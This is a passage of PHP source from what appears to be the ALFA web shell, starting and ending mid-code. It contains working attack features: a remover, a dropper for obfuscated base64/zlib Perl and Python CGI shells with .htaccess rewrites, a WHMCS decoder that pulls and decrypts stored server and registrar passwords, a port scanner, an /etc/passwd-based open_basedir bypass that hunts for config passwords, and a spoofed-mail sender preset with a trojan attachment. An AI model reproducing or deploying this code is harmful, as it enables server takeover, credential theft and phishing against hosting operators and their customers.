}\n                }\n                $search .= "1=1";\n                $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;\n            }\n            $q_tables = @mysqli_query($conn, $query);\n            if(!$q_tables){\n                echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));\n                return false;\n            }\n            $col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = \'".@addslashes($db["db"])."\' AND TABLE_NAME = \'".@addslashes($db["table"])."\' AND COLUMN_KEY = \'PRI\'");\n            if($col_key){\n                $col_key = @mysqli_fetch_row($col_key);\n                $col_key = $col_key[0];\n                if(!empty($col_key)){\n                    $tbl_content = \'<div style="margin-bottom:5px;margin-top:5px;"><button col_key="\'.$col_key.\'" tbl_name="\'.$db["table"].\'" db_id="\'.$db["db_id"].\'"  db_target="\'.$db["db"].\'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';\n                }\n            }else{\n                $col_key = false;\n            }\n            while($item = @mysqli_fetch_assoc($q_tables)){\n                if(!$title){\n                    $tbl_content .= \'<tr style="background-color:#305b8e;">\';\n                    if($col_key){\n                        $tbl_content .= \'<th style="width: 55px;text-align:center;"><input db_id="\'.$db["db_id"].\'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>\';\n                    }\n                    foreach($item as $key => $value){\n                        $tbl_content .= \'<th>\'.$key.\'</th>\';\n                    }\n                    reset($item);\n                    $title=true;\n                    $tbl_content .= \'</tr><tr>\';\n                }\n\n                if($col_key){\n                    $cacheMsg = \'<td style="text-align:center;"><input row_id="\'.$line.\'" type="checkbox" name="tbl_rows_checkbox[]" value="\'.$item[$col_key].\'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" onclick="alfaMysqlEditRow(this, \\\'edit\\\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" row_id="\'.$line.\'" onclick="alfaMysqlEditRow(this, \\\'delete\\\');" style="color:#ff1e1e;">Delete</a></td>\';\n                }\n                $tbl_content .= \'<tr class="tbl_row tbl_row_l\'.$line.\'">\'.$cacheMsg;\n                $line++;\n                foreach($item as $key => $value){\n                    if($value == null){\n                        $tbl_content .= \'<td><i>null</i></td>\';\n                    }else{\n                        $tbl_content .= \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n                }\n                }\n                $tbl_content .= \'</tr>\';\n            }\n            $tbl_content .= \'</table>\';\n            if(!$title){\n                $tbl_content = "<div style=\'padding:5px;border:1px dashed;margin:10px;\'>Table is empty...</div>";\n            }\n            echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));\n        }\n        @mysqli_close($conn);\n    }\n}\nfunction alfaselfrm(){\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'yes\'){\necho(__pre().\'<center>\');\nif(@unlink($GLOBALS[\'__file_path\'])){\necho(\'<b>Shell has been removed</i> :)</b>\');\n}else{\necho \'unlink error!\';\n}\necho(\'</center>\');\n}\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']!=\'yes\'){\necho "<div class=header>";\necho "\n<center><p><img src=\\"http://solevisible.com/images/farvahar-iran.png\\"></p>";\necho \'<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\\\'selfrm\\\',null,\\\'yes\\\');"> Yes</a>\';\necho \'</p></center></div>\';\n}\n}\nfunction alfacgishell(){\nalfahead();\n$div = "";\nalfaCreateParentFolder();\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __Cavdar59_DATA_FOLDER__);\nif(!in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\n$div = "</div>";\necho \'<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\\\'perl\\\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\\\'py\\\');">| Python | </a>\';\n}\nif(isset($_POST[\'alfa1\'])&&in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\n@mkdir(\'cgialfa\',0755);\n@chdir(\'cgialfa\');\nalfacgihtaccess(\'cgi\');\n$name = $_POST[\'alfa1\'].\'.alfa\';\n$perl = \'#!/usr/bin/perl   -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));\';;\n$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\nif($_POST[\'alfa1\']==\'perl\'){$code = $perl;}else{$code = $py;}\nif(__write_file($name,$code)){\n@chmod($name,0755);\necho \'<iframe src="\'.__Cavdar59_DATA_FOLDER__.\'/cgialfa/\'.$name.\'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>\';\n}\n}\necho $div;\nalfafooter();\n}\nfunction alfaWhmcs(){\nalfahead();\necho \'<div class=header>\';\nfunction decrypt($string,$cc_encryption_hash){\n$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\n$hash_key = _hash($key);\n$hash_length = strlen ($hash_key);\n$string = __ZGVjb2Rlcg($string);\n$tmp_iv = substr ($string, 0, $hash_length);\n$string = substr ($string, $hash_length, strlen ($string) - $hash_length);\n$iv = $out = \'\';\n$c = 0;\nwhile ($c < $hash_length)\n{\n$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\n++$c;\n}\n$key = $iv;\n$c = 0;\nwhile ($c < strlen ($string))\n{\nif (($c != 0 AND $c % $hash_length == 0))\n{\n$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\n}\n$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\n++$c;\n}\nreturn $out;\n}\nfunction _hash($string)\n{\nif(function_exists(\'sha1\'))\n{\n$hash = sha1 ($string);\n}\nelse\n{\n$hash = md5 ($string);\n}\n$out = \'\';\n$c = 0;\nwhile ($c < strlen ($hash))\n{\n$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\n$c += 2;\n}\nreturn $out;\n}\nAlfaNum(8,9,10);\necho "<center><br><div class=\'txtfont_header\'>| WHMCS DeCoder |</div><p>".getConfigHtml(\'whmcs\')."</p><form onsubmit=\\"g(\'Whmcs\',null,this.form_action.value,\'decoder\',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\\">\n<input type=\'hidden\' name=\'form_action\' value=\'2\'>";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'cc_encryption_hash : \', \'inputName\' => \'cc_encryption_hash\', \'id\' => \'cc_encryption_hash\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho "<p><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\nif($_POST[\'alfa5\']!=\'\'){\n$db_host=($_POST[\'alfa7\']);\n$db_username=($_POST[\'alfa3\']);\n$db_password=($_POST[\'alfa4\']);\n$db_name=($_POST[\'alfa5\']);\n$cc_encryption_hash=($_POST[\'alfa6\']);\necho __pre();\n$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));\n$query = mysqli_query($conn,"SELECT * FROM tblservers");\n$num = mysqli_num_rows($query);\nif ($num > 0){\nfor($i=0; $i <=$num-1; $i++){\n$v = @mysqli_fetch_array($query);\n$ipaddress = $v[\'ipaddress\'];\n$username = $v[\'username\'];\n$type = $v[\'type\'];\n$active = $v[\'active\'];\n$hostname = $v[\'hostname\'];\necho("<center><table border=\'1\'>");\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\necho("<tr><td><b><font color=\\"#FFFFFF\\">Type</font></td><td>$type</td></tr></b>");\necho("<tr><td><b><font color=\\"#FFFFFF\\">Active</font></td><td>$active</td></tr></b>");\necho("<tr><td><b><font color=\\"#FFFFFF\\">Hostname</font></td><td>$hostname</td></tr></b>");\necho("<tr><td><b><font color=\\"#FFFFFF\\">Ip</font></td><td>$ipaddress</td></tr></b>");\necho("<tr><td><b><font color=\\"#FFFFFF\\">Username</font></td><td>$username</td></tr></b>");\necho("<tr><td><b><font color=\\"#FFFFFF\\">Password</font></td><td>$password</td></tr></b>");\necho "</table><br><br></center>";\n}\n$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");\n$num1 = @mysqli_num_rows($query1);\nif ($num1 > 0){\nfor($i=0; $i <=$num1 -1; $i++){\n$v = mysqli_fetch_array($query1);\n$registrar = $v[\'registrar\'];\n$setting = $v[\'setting\'];\n$value = decrypt($v[\'value\'], $cc_encryption_hash);\nif ($value==""){\n$value=0;\n}\necho("<center>Domain Reseller <br><center>");\necho("<center><table border=\'1\'>");\necho("<tr><td><b><font color=\\"#67ABDF\\">Register</font></td><td>$registrar</td></tr></b>");\necho("<tr><td><b><font color=\\"#67ABDF\\">Setting</font></td><td>$setting</td></tr></b>");\necho("<tr><td><b><font color=\\"#67ABDF\\">Value</font></td><td>$value</td></tr></b>");\necho "</table><br><br></center>";\n}\n}\n}else{__alert(\'<font color="red">tblservers is Empty...!</font>\');};\n}\necho "</div>";\nalfafooter();\n}\nfunction alfaportscanner(){\nalfahead();\necho \'<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>\n<form action="" method="post" onsubmit="g(\\\'portscanner\\\',null,null,this.start.value,this.end.value,this.host.value); return false;">\n<input type="hidden" name="y" value="phptools">\n<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>\n<div class="txtfont">Port start: </div> <input id="text" size="5" type="text"  name="start" value="80"/>\n<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />\n</form></center><br>\';\n$start = strip_tags($_POST[\'alfa2\']);\n$end = strip_tags($_POST[\'alfa3\']);\n$host = strip_tags($_POST[\'alfa4\']);\nif(isset($_POST[\'alfa4\']) && is_numeric($_POST[\'alfa3\']) && is_numeric($_POST[\'alfa2\'])){\necho __pre();\n$packetContent = "GET / HTTP/1.1\\r\\n\\r\\n";\nif(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);\nelse{\n$packetContent = str_replace(array("\\r","\\n"), "", $packetContent);\n$packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent);\n}\nfor($i = $start; $i<=$end; $i++){\n$sock = @fsockopen($host, $i, $errno, $errstr, 3);\nif($sock){\nstream_set_timeout($sock, 5);\nfwrite($sock, $packetContent."\\r\\n\\r\\n\\x00");\n$counter = 0;\n$maxtry = 1;\n$bin = "";\ndo{\n$line = fgets($sock, 1024);\nif(trim($line)=="")$counter++;\n$bin .= $line;\n}while($counter<$maxtry);\nfclose($sock);\necho "<center><p>Port <font style=\'color:#DE3E3E\'>$i</font> is open</p>";\necho "<p><textarea style=\'height:140px;width:50%;\'>".$bin."</textarea></p></center>";\n}\nflush();\n}\n}\necho \'</div>\';\nalfafooter();\n}\nfunction alfacgihtaccess($m,$d=\'\', $symname=false){\n$readme = "";\nif($symname){$readme="\\nReadmeName ".trim($symname);}\nif($m==\'cgi\'){\n$code = "#Coded By Sole Sad & Invisible\\nOptions FollowSymLinks MultiViews Indexes ExecCGI\\nAddType application/x-httpd-cgi .alfa\\nAddHandler cgi-script .alfa";\n}elseif($m==\'sym\'){\n$code = "#Coded By Sole Sad & Invisible\\nOptions Indexes FollowSymLinks\\nDirectoryIndex solevisible.phtm\\nAddType text/plain php html php4 phtml\\nAddHandler text/plain php html php4 phtml{$readme}\\nOptions all";\n}elseif($m==\'shtml\'){\n$code = "Options +Includes\\nAddType text/html .shtml\\nAddHandler server-parsed .shtml";\n}\n@__write_file($d . ".htaccess", $code);\n}\nfunction alfabasedir(){\nalfahead();\necho \'<div class=header>\n<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>\';\n$passwd = _alfa_file(\'/etc/passwd\');\nif(is_array($passwd)){\n$users = array();\n$makepwd = alfaMakePwd();\n$basedir = @ini_get(\'open_basedir\');\n$safe_mode = @ini_get(\'safe_mode\');\nif(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){\n$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";\n$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);\n$bash_users  = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);\n$users = json_decode($bash_users, true);\n$x=count($users);\nif($x>=2){array_pop($users);--$x;}\n}\nif(!$basedir&&!$safe_mode){\n$x=0;\nforeach($passwd as $str){\n$pos = strpos($str,\':\');\n$username = substr($str,0,$pos);\n$dirz = str_replace("{user}", $username, $makepwd);\nif(($username != \'\')){\nif (@is_readable($dirz)){\narray_push($users,$username);\n$x++;\n}}}\n}\necho \'<br><br>\';\necho "<b><font color=\\"#00A220\\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\\n"."<br /></font></b>";\necho "<b><font color=\\"#FFFFFF\\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\\n"."<br /></font></b>";\necho "<b><font color=\\"#FF0000\\">[~] Searching for passwords in config files...\\n\\n"."<br /><br /><br /></font></b>";\nforeach($users as $user){\nif(empty($user))continue;\n$path = str_replace("{user}", $user, $makepwd);\necho "<form method=post onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class=\'foottable\' type=text name=c value=\'$path\'><input type=submit value=\'>>\'></form><br>";\n}\n}else{echo(\'<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>\');}\necho \'<br><br></b>\';\necho \'</div>\';\nalfafooter();\n}\nfunction alfamail(){\nalfahead();\necho \'<div class=header>\';\nAlfaNum(8,9,10);\necho \'<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\\\'mail\\\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\\\'>>\\\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">\';\n$table = array(\n\'td1\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mail To : \', \'inputName\' => \'mail_to\', \'inputValue\' => \'target@fbi.gov\', \'inputSize\' => \'60\',\'placeholder\' => true),\n\'td2\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'From : \', \'inputName\' => \'mail_from\', \'inputValue\' => \'sec@google.com\', \'inputSize\' => \'60\', \'placeholder\' => true),\n\'td3\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Subject : \', \'inputName\' => \'mail_subject\', \'inputValue\' => \'your site hacked by me\', \'inputSize\' => \'60\'),\n\'td4\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Attach File : \', \'inputName\' => \'mail_attach\', \'inputValue\' => $GLOBALS[\'cwd\'].\'trojan.exe\', \'inputSize\' => \'60\'),\n\'td5\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Count Mail : \', \'inputName\' => \'count_mail\', \'inputValue\' => \'1\', \'inputSize\' => \'60\')\n);\ncreate_table($table);\necho \'<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>\';\nif(isset($_POST[\'alfa4\'])&&($_POST[\'alfa4\'] == \'>>\')){\n$mail_to = $_POST[\'alfa1\'];\n$mail_from = $_POST[\'alfa2\'];\n$mail_subject = 